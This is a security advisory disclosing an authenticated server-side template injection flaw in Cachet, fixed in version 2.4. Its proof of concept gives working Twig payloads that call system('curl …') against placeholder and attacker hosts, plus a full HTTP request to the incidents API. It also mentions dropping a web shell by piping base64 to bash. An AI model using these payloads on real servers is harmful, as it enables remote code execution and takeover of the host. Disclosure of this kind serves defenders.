Cachet vulnerable to Authenticated Remote Code Execution

Summary

A template functionality which allows users to create templates allows them to execute any code on the server during the bad filtration and old twig version. Within /cachet/app/Http/Routes/ApiRoutes.php, and attacker could control template input which is passed to laravel's dispatched handler /cachet/app/Bus/Handlers/Commands/Incident/CreateIncidentCommandHandler.php. If an attacker is able to control this data, they may be able to trigger a server-side template injection vulnerability which can lead to remote code execution.

This vulnerability does not exist within the Twig library itself, but exists during the process of the Cachet processing of the data without any filtration. This has been patched in Cachet version 2.4.

PoC

1. Log in as a default user (non-admin);
2. Create an incident with name slug1 and with content: {{ ['curl yourhost.com','']|sort('system') }} or with any other content for Remote code execution via the Twig, for instance: {{[0]|reduce('system','curl yourhost.com')}};
3. Get an API token from your account settings (X-Cachet-Token);
4. Trigger remote code execution using the api route:

POST /api/v1/incidents HTTP/1.1
Host: myapp
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: XSRF-TOKEN=eyJpdiI6InZUVVpkRmx1VFlhcytVQkQ1Zk81b1E9PSIsInZhbHVlIjoiSlE0Tmt1cjVoRHFSOHBIR3RoYlAwS0dNZlVHbm02d0tWVW1ERVRvblZTTW1TMHV2MFJUYTNwQWQyZ3pQM1VlMyIsIm1hYyI6IjU4YzAxZjgyYWE4YTU4MTExMDQ3OGRhOTNlYThlZTYxMzI5YzBhMWVhM2RjYzA2ODgzMGVhMGQ5Njg2YTMyMjkifQ%3D%3D; laravel_session=eyJpdiI6IldZcHhMSjBYRmQzUXdGTTRQbGFQTWc9PSIsInZhbHVlIjoiSkRxWncxdWs3Y29ZcXVHMlJ0U2pVVVwvMGdvSUJNK2pEMnhsR2QzVnE1MmMxMWJxUm96K1VnalwvS1pYcXE2cGllIiwibWFjIjoiMDM0MGIxNjRlM2VhOGU5Mzg2OWVkYjZjNmJhY2JlMTE3OTdkMDRkZTQ1NzI5NTMzNzI4YjA5YTcwNzM2M2E5YyJ9
Connection: close
X-Cachet-Token: OeiLJ6G6kjsBXeyOo97z
Content-Length: 109
Content-type: application/json

{"template":"slug1", "name":"{{ ['curl pwned.riven.pw','']|sort('system') }}", "status":2, "visible":1}

5. Obtain remote code execution. An attacker could also upload a web-shell using some base64 tricks with pipe to bash.